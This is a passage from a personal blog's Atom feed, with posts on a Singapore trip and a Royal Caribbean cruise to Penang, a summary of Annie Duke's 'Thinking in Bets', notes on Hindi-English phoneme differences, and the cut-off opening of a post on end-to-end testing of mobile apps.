    <img loading="lazy" src="singapore-skyline-from-faber-point-1024x768.jpg"
         alt="A wooden pedestrian bridge with a wave-like design, known as Henderson Waves, set against an urban backdrop of a city skyline." width="900"/> </a>
</figure>

<h3 id="day-4---natural-beauty">Day 4 - Natural Beauty</h3>
<p>We started the day with Gardens by the Bay.
These are some majestic gardens with tons of thematic gardens to visit.
One can experience 70% of it without paying a single penny.
Only a few enclosures are paid.
I visited two paid gardens here for 53 SGD.
Cloud Forest was worth the visit and Floral Fantasy felt like a waste of time.
Overall, one can easily spend 3-4 hours here and still feel the visit to be incomplete.</p>
<figure>
    
    <a href="gardens-by-the-bay-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="gardens-by-the-bay-1-1024x768.jpg"
         alt="Multiple lush, futuristic gardens with large, tree-like structures lit at night in Singapore&#39;s Gardens by the Bay" width="900"/> </a>
</figure>

<figure>
    
    <a href="gardens-by-the-bay-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="gardens-by-the-bay-2-1024x768.jpg"
         alt="Multiple lush, futuristic gardens with large, tree-like structures lit at night in Singapore&#39;s Gardens by the Bay" width="900"/> </a>
</figure>

<figure>
    
    <a href="gardens-by-the-bay-3-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="gardens-by-the-bay-3-768x1024.jpg"
         alt="Gardens by the Bay, showcasing vibrant, futuristic domes and towering Supertrees amidst lush greenery, highlighting architectural and horticultural innovation in Singapore." width="900"/> </a>
</figure>

<figure>
    
    <a href="gardens-by-the-bay-4-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="gardens-by-the-bay-4-1024x768.jpg"
         alt="A towering man-made tree structure adorned with plants and foliage stands amidst a lush garden landscape in Gardens by the Bay in Singapore" width="900"/> </a>
</figure>

<figure>
    
    <a href="gardens-by-the-bay-5-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="gardens-by-the-bay-5-768x1024.jpg"
         alt="A towering man-made tree structure adorned with lights stands amidst lush greenery, part of Gardens by the Bay&#39;s futuristic landscape." width="900"/> </a>
</figure>

<figure>
    
    <a href="gardens-by-the-bay-6-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="gardens-by-the-bay-6-1024x768.jpg"
         alt="Singapore&#39;s Gardens by the Bay, showcasing futuristic Supertree structures surrounded by lush greenery under a blue sky." width="900"/> </a>
</figure>

<figure>
    
    <a href="gardens-by-the-bay-7-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="gardens-by-the-bay-7-1024x768.jpg"
         alt="A night scene at Gardens by the Bay depicts illuminated Supertrees, glowing with colorful lights against a dark sky, creating a stunning futuristic landscape." width="900"/> </a>
</figure>

<p>Afterward, I visited   
    
    
<a href="https://www.mandai.com/en/night-safari/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Night Safari</a>.
This is also fairly well-connected to the metro via a special bus that runs every 20 minutes.
I would recommend visiting right at the opening time as the shows are planned with limited frequency,
and you would miss out on the fun by being late. The online ticket was 49.50 SGD and was 10% cheaper than the on-the-spot ticket.
They have two shows, and only one of them &ldquo;Creatures of the Night&rdquo; is worth watching.
It consists of trained wild animals that perform fun activities on the stage.
The other LED show is a bit basic and can be skipped.</p>
<figure>
    
    <a href="creatures-of-the-night-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="creatures-of-the-night-1024x768.jpg"
         alt="A brightly illuminated stage with performers in dynamic poses during an LED show." width="900"/> </a>
</figure>

<figure>
    
    <a href="led-show-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="led-show-768x1024.jpg"
         alt="LED show" width="900"/> </a>
</figure>

<p>Then as everyone is crowding up for the trains, I would recommend doing the   
    
    
<a href="https://www.mandai.com/en/night-safari/plan-your-visit/park-map.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">hiking trails</a>. It takes about ~90 minutes to see various animals up close this way.</p>
<figure>
    
    <a href="night-safari-masupial-animal-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="night-safari-masupial-animal-1024x768.jpg"
         alt="Singapore Zoo Night Safari" width="900"/> </a>
</figure>

<figure>
    
    <a href="night-safari-tiger-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="night-safari-tiger-768x1024.jpg"
         alt="A night safari features images of a marsupial, a tiger, and a different wildlife scene, emphasizing diverse nocturnal animal encounters in their natural habitat." width="900"/> </a>
</figure>

<figure>
    
    <a href="night-safari-1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="night-safari-1-768x1024.jpg"
         alt="A tram tour is taking place in a nighttime safari setting, featuring a tiger in a natural habitat, with an audio guide provided for information." width="900"/> </a>
</figure>

<p>Now, after finishing the hike, we went for the tram tour with guided audio. There was no crowding and no queues left for the tram at that time.</p>
<p>While at the airport, don&rsquo;t forget to check out more of its unusual and free gardens.</p>
<figure>
    
    <a href="changi-airport-theatre-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="changi-airport-theatre-768x1024.jpg"
         alt="Theatre at Changi Airport" width="900"/> </a>
</figure>

<figure>
    
    <a href="changi-butterfly-garden-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="changi-butterfly-garden-1024x768.jpg"
         alt="Butterfly garden at Changi Airport" width="900"/> </a>
</figure>

<figure>
    
    <a href="changi-cactus-garden-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="changi-cactus-garden-768x1024.jpg"
         alt="Cactus garden at Changi airport" width="900"/> </a>
</figure>

<h3 id="note">Note</h3>
<ol>
<li>The metro system is pretty good. Keep a map of it handy and you can get to anywhere in Singapore. Further, one can directly use Visa/Mastercard credit cards to pay for both Metro and public buses.</li>
<li>Credit cards have a fairly high acceptance rate.</li>
<li>Free public toilets, including drinking water, are easily accessible throughout Singapore.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/singapore" term="singapore" label="singapore"/><category scheme="https://ashishb.net/tag/asia" term="asia" label="asia"/></entry><entry><title type="html">Book Summary: Thinking In Bets by Annie Duke</title><link href="https://ashishb.net/book-summary/thinking-in-bets/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/woke-inc/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Woke, Inc. by Vivek Ramaswamy"/><link href="https://ashishb.net/book-summary/one-up-on-wall-street/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One up on Wall Street by Peter Lynch"/><link href="https://ashishb.net/book-summary/sum-forty-tales-from-the-afterlives/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary of Sum: Forty Tales From The Afterlives"/><link href="https://ashishb.net/book-summary/red-notice/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Red Notice by Bill Browder"/><link href="https://ashishb.net/book-summary/antifragile/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Antifragile by Nassim Nicolas Taleb"/><id>https://ashishb.net/book-summary/thinking-in-bets/</id><author><name>Ashish Bhatia</name></author><published>2023-08-19T16:00:11+00:00</published><updated>2023-08-19T16:00:11+00:00</updated><content type="html"><![CDATA[<blockquote>Explore &ldquo;Thinking in Bets&rdquo; by Annie Duke for insights on improving decision-making amidst uncertainty. Learn strategies including scenario planning, mental contrasting, and more.</blockquote><p>  
    
    
<a href="https://amzn.to/3XMizss?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Thinking In Bets</a> is a book by professional poker player Annie Duke.
It&rsquo;s a book about better decision-making under uncertainty.</p>
<ol>
<li>All Facts have a 
<a href="/book-summary/the-half-life-of-facts/">half-life</a>. Many scientific facts have been proven wrong. We, non-scientists, should be even more humble. Rather than stating beliefs, we should state our confidence in those as well. This makes it more palatable to change opinions in the future. For example, going from 58% to 42% is easier than going from yes to no.</li>
<li>We are not natural truth-seekers. We assume whatever we hear is true. And then when new facts appear, we don&rsquo;t even update our original beliefs, rather we reinterpret the new data in light of the existing beliefs.</li>
<li>Results are outcomes of both our decision and luck. We should focus our efforts to get the processes right. We can&rsquo;t control luck. It is best not to be bothered by it.</li>
<li>We take credit for their successes and blame the failures on their bad luck. We do the reverse while judging other humans. Always consider diverse perspectives. E.g. when someone runs over a red light, don&rsquo;t just assume that it was intentional.</li>
<li>We prefer preserving our self-image over a more objective representation of the world. This can be uncomfortable at times. You cannot pull someone out of this &ldquo;Matrix-movie-like scenario&rdquo; unless they willingly want to choose a more objective view of the world.</li>
<li>While discussing with others, always go with an exploratory approach. The natural tendency is to engage in confirmation bias.</li>
<li>Make yourself accountable. A bet is a form of accountability. People are more willing to offer their opinion in a room if the goal is to win a bet instead of getting along with others in the room!</li>
<li>In 1960, scientists paid for by the pro-sugar lobby funded   
    
    
<a href="https://www.npr.org/sections/thetwo-way/2016/09/13/493739074/50-years-ago-sugar-industry-quietly-paid-scientists-to-point-blame-at-fat?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">research</a> that blamed &ldquo;fat&rdquo; instead of &ldquo;sugar&rdquo; for obesity. This might seem like an obvious conflict of interest. But we suffer from internal conflicts of interest regularly. For example, instead of assuming someone is better than us, we think he is better at schmoozing the boss.</li>
<li>10-10-10 rule - While making a decision think about the consequences of your decision in 10 mins, 10 months, and 10 years.</li>
<li>Scenario planning - Engaging in scenario planning makes one prepared for the various future outcomes. This prevents hindsight bias where one thinks that this future outcome was an obvious one.</li>
<li>Mental contrasting is a technique where a person imagines the obstacles in the way of their goals. This leads to a better chance of success in attaining one&rsquo;s goals. It is a better technique than just dreaming about one&rsquo;s goal.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">Hindi-English phonemes that are similar but distinct</title><link href="https://ashishb.net/linguistics/hindi-english-phonemes-that-are-similar-but-distinct/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/linguistics/%C9%9B-sound/?utm_source=atom_feed" rel="related" type="text/html" title="The English ɛ - a popular vowel missing in Indic languages"/><link href="https://ashishb.net/linguistics/how-to-pronounce-tharman-shanmugaratnam/?utm_source=atom_feed" rel="related" type="text/html" title="Musings of transliteration: Tharman Shanmugaratnam's name"/><link href="https://ashishb.net/linguistics/monolingualism/?utm_source=atom_feed" rel="related" type="text/html" title="Monolingualism"/><link href="https://ashishb.net/linguistics/spicy-vs-chilli/?utm_source=atom_feed" rel="related" type="text/html" title="Spicy vs Chilli"/><link href="https://ashishb.net/linguistics/written-script/?utm_source=atom_feed" rel="related" type="text/html" title="Writing Script matters as much as the spoken language"/><id>https://ashishb.net/linguistics/hindi-english-phonemes-that-are-similar-but-distinct/</id><author><name>Ashish Bhatia</name></author><published>2023-08-12T16:00:48+00:00</published><updated>2023-08-12T16:00:48+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the fascinating phonetic differences between Hindi and English! Uncover the unique challenges and nuances in pronunciation that bridge and divide the two languages.</blockquote><p>Hindi and English have several similar yet distinct phonemes.</p>
<ol>
<li><code>/v/</code> and <code>/w/</code> - The English <code>/w/</code> is bi-labial (both lips touching) similar to Hindi <code>व</code>. The English <code>/v/</code>, however, is labio-dental (upper teeth touching lower lips), a sound distinct for the English speaker but indistinguishable from <code>/w/</code> for Hindi speakers.</li>
<li><code>/ph/</code> and <code>/f/</code> - English uses labio-dental <code>/f/</code>, Hindi, however, uses bi-labial <code>/ph/फ</code>. Fun fact: These two sounds were distinct for ancient Greeks. But not to English speakers. So, Telephone and Telefone would have the same pronunciation, that is, <code>/f/</code> in English.</li>
<li><code>/ɹ/</code> and <code>/r/र</code> - The English r ( <code>/ɹ/</code>) is retroflex (tongue curling backward like <code>ट</code>). In fact, that&rsquo;s the only retroflex sound in English, Hindi <code>/r/</code>, however, is generated at the alveolar ridge (the ridge right behind your upper teeth). Fun fact: The Sanskrit <code>ऋ</code> is pronounced <code>/ɹ/</code></li>
<li>English <code>/t/</code> vs Hindi <code>/t/त</code> - The English T sound is unique in many ways. It does not exist even in other major European languages like Spanish, French, and German. Both Hindi&rsquo;s त and English T are made at the alveolar ridge. The Hindi/Spanish/French/German <code>/t/</code> is made with the tip of the tongue while the English <code>/t/</code> is made with the blade of the tongue giving it a thicker sound.</li>
<li><code>/θ/</code> (th) vs <code>tʰ/थ</code> - The Hindi <code>थ</code> is dental in nature, the sound is made by touching the tip of the tongue with the back of the upper teeth. While the English <code>/θ/th</code> sound is interdental, for example, in thinking or thin. This sound is made by putting the tongue tip between the upper and lower teeth while simultaneously touching both.</li>
<li><code>/ð/</code> vs <code>/d/द</code> - Similar to <code>थ</code>, the Hindi <code>द</code> is dental in nature. The English <code>/ð/</code> is inter-dental in nature. For example, in &ldquo;this&rdquo; or &ldquo;father&rdquo;, the th sound is produced by the tongue hanging between the middle teeth. The English <code>/d/</code> is non-retroflex and is pronounced in the same spot as the Hindi <code>द</code>. So, the transliteration of London as &ldquo;लंदन&rdquo; isn&rsquo;t too far from being correct!</li>
<li><code>/ʒ/</code> vs <code>/dʒʱ/झ</code> - Consider the second sound in &ldquo;vision&rdquo; or the third sound in &ldquo;decision&rdquo;. It gets incorrectly approximated as <code>/z/ज़</code> or <code>/s/स</code>. <code>/ʒ/</code>, however, is made by touching the tongue to the ceiling of the mouth and creating friction. It might be easier for Hindi speakers to imagine this as a fricative version of <code>झ</code>.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/linguistics" term="linguistics" label="linguistics"/></entry><entry><title type="html">Royal Caribbean cruise in Singapore</title><link href="https://ashishb.net/travel/royal-caribbean-cruise-in-singapore/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/singapore/?utm_source=atom_feed" rel="related" type="text/html" title="Singapore in 4 days"/><link href="https://ashishb.net/book-summary/one-mans-view-of-the-world/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One Man's View of the World by Lee Kuan Yew"/><link href="https://ashishb.net/travel/11-day-caribbean-cruise/?utm_source=atom_feed" rel="related" type="text/html" title="11-day Norwegian Breakaway East Caribbean cruise"/><link href="https://ashishb.net/travel/hiking-mt-fuji/?utm_source=atom_feed" rel="related" type="text/html" title="Hiking Mt. Fuji"/><link href="https://ashishb.net/travel/kyoto-japan/?utm_source=atom_feed" rel="related" type="text/html" title="Kyoto in three days"/><id>https://ashishb.net/travel/royal-caribbean-cruise-in-singapore/</id><author><name>Ashish Bhatia</name></author><published>2023-08-06T16:00:44+00:00</published><updated>2023-08-06T16:00:44+00:00</updated><content type="html"><![CDATA[<blockquote>Experience a unique 3-day Royal Caribbean cruise with a stop in culturally rich Penang. Enjoy vegetarian delights, thrilling activities, and memorable shows!</blockquote><p>We did a 3-day Royal Caribbean cruise from 
<a href="/travel/singapore/">Singapore</a> with a stop in Penang, Malaysia.
This was my first time 
<a href="/travel/first-time-cruisers/">cruising</a> in Asia.</p>
<p>Unlike the 
<a href="/travel/escaping-into-caribbean-with-norwegian-escape-cruise/">Caribbean</a> and 
<a href="/travel/cruising-in-french-polynesia/">French Polynesia</a>, most passengers were from Chinese and India.
And this reflected well in the activities as well as food choices.
The quizzes were geekier, e.g., guess the airport from the codename.
Food choices were way more vegetarian friendly including a Jain food counter!</p>
<figure>
    
    <a href="singapore-cruise-ship-1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="singapore-cruise-ship-1-768x1024.jpg"
         alt="A large, white cruise ship docked in a harbor, featuring multiple decks and lifeboats visible, surrounded by waterfront buildings and a cloudy sky backdrop." width="900"/> </a>
</figure>

<figure>
    
    <a href="singapore-cruise-ship-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="singapore-cruise-ship-2-1024x768.jpg"
         alt="A cruise ship at a port in Singapore, featuring a cloudy sky" width="900"/> </a>
</figure>

<figure>
    
    <a href="singapore-cruise-food-indian-jain-corner-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="singapore-cruise-food-indian-jain-corner-1024x768.jpg"
         alt="A large cruise ship is docked at a port in Singapore, with balconies visible on multiple levels." width="900"/> </a>
</figure>

<h3 id="day-1---check-in">Day 1 - Check-in</h3>
<p>We arrived at around 3 PM, 90 minutes before the start of the cruise. We know we are late when we saw absolutely no one in the check-in line!</p>
<figure>
    
    <a href="singapore-cruise-check-in-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="singapore-cruise-check-in-1024x768.jpg"
         alt="A man in a black suit and hat is playing the piano passionately on a stage with warmly colored lighting" width="900"/> </a>
</figure>

<p>After putting the stuff in our rooms, we decided to check out rock climbing</p>
<figure>
    
    <a href="singapore-cruise-rock-climbing-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="singapore-cruise-rock-climbing-768x1024.jpg"
         alt="A rock climbing wall on a cruise ship in Singapore" width="900"/> </a>
</figure>

<p>And then took visit the glass floor.</p>
<figure>
    
    <a href="singapore-cruise-glass-floor-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="singapore-cruise-glass-floor-768x1024.jpg"
         alt="A person is rock climbing on an artificial wall on a cruise ship, utilizing bright-colored holds against a blue wall background. The setup suggests a recreational activity available on the cruise." width="900"/> </a>
</figure>

<p>In the evening, we saw a show about Showgirls. Among all its glitter and noise, it left a lot to be desired.</p>
<p>The food choices were impressive. Especially, if you are a vegetarian.
This is my fourth cruise, and this is the first time, with tons of vegetarian choices, including eggless pastries!</p>
<h3 id="day-2---penang-malaysia">Day 2 - Penang, Malaysia</h3>
<p>The day started with the workout.</p>
<figure>
    
    <a href="singapore-cruise-morning-workout-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="singapore-cruise-morning-workout-768x1024.jpg"
         alt="A person performs a workout on a cruise ship deck in the morning, with exercise equipment visible. Day 2 in Penang, Malaysia starts with a workout session." width="900"/> </a>
</figure>

<p>Then we spotted some dolphins from our balcony.</p>
<p>The cruise ship reaches Penang, Malaysia at 3 PM. This is unusual.
This was the first time, I have seen such a weird arrival time. And it was indeed terrible.
The sun still sets at around 7 PM. The museums close by 6 PM.
The market closes by 8 PM. And the tour stops are also done by 9 PM.
So, one has to return to the cruise ship by 9 PM as there is absolutely nothing to do on land.</p>
<p>Our arrival was further hampered by the sudden tropical downpour that happened within 30 minutes of our arrival on the island!</p>
<p>We still continued with our plan to visit funicular at Penang Hills.
We took a 40 USD taxi to a 40-minute taxi to Penang Hill Station.
If you negotiate well, you should pay 30 USD.
Further, try to reach as soon as possible as the queue to go to the top becomes long pretty quickly.
The standard ticket is 30 Ringgit per person, to save an hour, we took the priority ticket that cost us 80 Ringgit per person instead.
The train ride is fun.
Try to sit in the front if possible.
We missed that while going up.
However, we sat in the front while coming down.</p>
<figure>
    
    <a href="penang-hills-funicular-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="penang-hills-funicular-768x1024.jpg"
         alt="A funicular train is shown descending a steep track, surrounded by lush greenery" width="900"/> </a>
</figure>

<p>Atypical of south Indian traditions, The Hindu temple for Lord Murugan was carved elaborately both on the inside and outside.</p>
<figure>
    
    <a href="penang-hills-temple-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="penang-hills-temple-1024x768.jpg"
         alt="A Hindu temple dedicated to Lord Murugan features intricate carvings on both the interior and exterior, showcasing its elaborate architectural design." width="900"/> </a>
</figure>

<figure>
    
    <a href="penang-hills-view-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="penang-hills-view-1024x768.jpg"
         alt="View from Penang Hill showing a scenic temple surrounded by lush greenery, with a pathway leading through the tranquil landscape." width="900"/> </a>
</figure>

<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="allowfullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/lg8sDbQrqHM?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<p>While returning, we took 
<a href="/travel/public-transport-guide/">Bus #204</a> for 2 Ringgit that eventually stopped at the cruise harbor.
However, we decided to get down to Hin Bus Depot to explore the local market. Contrary to what Google Maps say, this market is open only from 11 AM - 5 PM on the weekend and not on the weekdays.</p>
<p>Then we visited Little India, not much to see here this late though.</p>
<figure>
    
    <a href="penang-little-india-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="penang-little-india-768x1024.jpg"
         alt="A wooden jetty extending over water, with wooden structures built on stilts" width="900"/> </a>
</figure>

<p>And Chew Jetty. A jetty is a wooden structure built on shallow lands.
And in this case, this belongs to the Chew clan. There wasn&rsquo;t much to see there at 9 PM either.
So, feel free to skip it.</p>
<figure>
    
    <a href="penang-chew-jetty-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="penang-chew-jetty-1-1024x768.jpg"
         alt="Chew Jetty in Penang, Malaysia, showcasing traditional stilt architecture against a waterfront setting." width="900"/> </a>
</figure>

<figure>
    
    <a href="penang-chew-jetty-2-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="penang-chew-jetty-2-768x1024.jpg"
         alt="A traditional wooden house on stilts overlooks calm waters, situated in a coastal area with a walking path and lush greenery in the surrounding environment." width="900"/> </a>
</figure>

<p>Back on the cruise ship, we saw a magic show.</p>
<figure>
    
    <a href="singapore-cruise-magician-lifting-girl-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="singapore-cruise-magician-lifting-girl-1024x768.jpg"
         alt="A magician on a cruise ship performs a magic show, lifting a girl on stage" width="900"/> </a>
</figure>

<p>Demonstrated   
    
    
<a href="https://www.youtube.com/watch?v=Cufgj2IBtyM&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Wine Bottle Magic Trick</a>. One can buy these   
    
    
<a href="https://www.magictricks.com/multiplying-bottles.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">here</a>.</p>
<figure>
    
    <a href="singapore-cruise-magic-show-hiding-girl-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="singapore-cruise-magic-show-hiding-girl-1024x768.jpg"
         alt="A girl hides in a wooden box during a magic show, performed in a theater setting. The audience&#39;s focus is on her disappearing act." width="900"/> </a>
</figure>

<p>Spoiler: This trick was very similar to how   
    
    
<a href="https://www.youtube.com/watch?v=vhVbK0J7RHw&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">this</a> is done.</p>
<p>Then there was a glass penetration magic trip. Spoiler: This is the   
    
    
<a href="https://inforuckus.com/impossible-glass-penetration-trick-secret/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">secret</a> behind it.</p>
<figure>
    
    <a href="singapore-cruise-magic-show-impentratable-glass-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="singapore-cruise-magic-show-impentratable-glass-1024x768.jpg"
         alt="A person in a bright red outfit performs a magic trick on stage, attempting to penetrate a large, impossibly solid glass panel as part of an illusion show." width="900"/> </a>
</figure>

<p>And there was an awesome demonstration of the assistant&rsquo;s revenge. Spoiler:   
    
    
<a href="https://www.youtube.com/watch?v=doqI93FZg2U&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">This</a> is how it is done.</p>
<figure>
    
    <a href="singapore-cruise-magic-show-assistants-revenge-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="singapore-cruise-magic-show-assistants-revenge-1024x768.jpg"
         alt="A magician performs on stage with a wooden box and assistants, demonstrating &#39;assistant&#39;s revenge&#39; in a cruise ship magic show setting." width="900"/> </a>
</figure>

<h3 id="day-3">Day 3</h3>
<p>I started the day by riding waves</p>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="allowfullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/Kbpt9Euy1Hc?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<p>Followed by Bollywood Dance Lessons</p>
<figure>
    
    <a href="singapore-cruise-bollywood-class-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="singapore-cruise-bollywood-class-1024x768.jpg"
         alt="Bollywood dance lessons" width="900"/> </a>
</figure>

<p>And tried our hands at archery</p>
<figure>
    
    <a href="singapore-cruise-magic-show-archery-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="singapore-cruise-magic-show-archery-1024x768.jpg"
         alt="Archery, drawing a bowstring back, with a target in the background during an onboard activity." width="900"/> </a>
</figure>

<p>Then we participated in some fun quizzes like Treasure Hunt and Guess the Airport.</p>
<p>In the afternoon, we attended the most popular show, Silk Road.
I would highly recommend it. Since we don&rsquo;t have a reservation, we queued up an hour in advance.
And there were people who queued up even earlier.
I came across an old version of it on   
    
    
<a href="https://www.youtube.com/watch?v=cECmyMck0qg&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">YouTube</a>. Ours was a few notches better than this one.</p>
<figure>
    
    <a href="singapore-cruise-show-silkroad-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="singapore-cruise-show-silkroad-1024x768.jpg"
         alt="Silkroad show on the cruise" width="900"/> </a>
</figure>

<p>Finally, at night, Effectors was the last show, that we saw. Apart from too much of special effects, there wasn&rsquo;t much to this show.</p>
<figure>
    
    <a href="singapore-cruise-show-effectors-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="singapore-cruise-show-effectors-1024x768.jpg"
         alt="A colorful cruise ship performs a vibrant light show on the water, showcasing various special effects" width="900"/> </a>
</figure>

<h3 id="note">Note</h3>
<ol>
<li>While citizens of India need a visa to visit Malaysia, no visa is required to visit Penang, Malaysia. The 4-day cruise that stops in 
<a href="/travel/thailand/">Thailand</a> as well, however, requires a visa for Thailand. And Royal Caribbean charges a hefty fee if you don&rsquo;t already have a Thai visa.</li>
<li>Royal Caribbean has extended its American practice of mandatory tipping to Singapore as well. As far as I know, they cannot legally force one to pay it. So, you can ask them to remove/reduce it and they will have to oblige. I believe it is the onus of all cruise passengers to fight against America&rsquo;s mandatory tipping culture that tries to mask the original cruise fare.</li>
<li>Penang isn&rsquo;t that great of a stop, feel free to skip and stay inside the cruise ship.</li>
<li>While there were multiple entertainment shows, there wasn&rsquo;t a comedy show on the ship.</li>
<li>The pools were small and shallow but still pretty good. And were filled with fresh water, not salt water.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/cruise" term="cruise" label="cruise"/><category scheme="https://ashishb.net/tag/singapore" term="singapore" label="singapore"/><category scheme="https://ashishb.net/tag/asia" term="asia" label="asia"/><category scheme="https://ashishb.net/tag/malaysia" term="malaysia" label="malaysia"/></entry><entry><title type="html">End-to-end testing of mobile apps</title><link href="https://ashishb.net/programming/end-to-end-testing-mobile-apps/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/android-always-show-toasts-on-the-background-thread/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Always show toasts on the background thread"/><link href="https://ashishb.net/programming/maintaining-android-app/?utm_source=atom_feed" rel="related" type="text/html" title="Maintaining an Android app is a lot of work"/><link href="https://ashishb.net/programming/android-stale-views/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Don't use stale views"/><link href="https://ashishb.net/programming/use-makefile-for-android/?utm_source=atom_feed" rel="related" type="text/html" title="Use Makefile for Android"/><link href="https://ashishb.net/programming/android-navigation-up-vs-back/?utm_source=atom_feed" rel="related" type="text/html" title="Android Navigation: Up vs Back"/><id>https://ashishb.net/programming/end-to-end-testing-mobile-apps/</id><author><name>Ashish Bhatia</name></author><published>2023-08-01T16:00:18+00:00</published><updated>2023-08-01T16:00:18+00:00</updated><content type="html"><![CDATA[<blockquote>Discover how end-to-end testing with Maestro can prevent app-breaking bugs like those found in Google&rsquo;s Auth library. Ensure seamless UI interactions today!</blockquote><p>Google released a new version of the Google Auth library.</p>
<p>It had a bug that   
    
    
<a href="https://gist.github.com/ashishb/108a095603446fa39eb901b006642af6?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">broke</a> Google Login on Android for API 26 and earlier.</p>
<p>This impacted my small but popular   
    
    
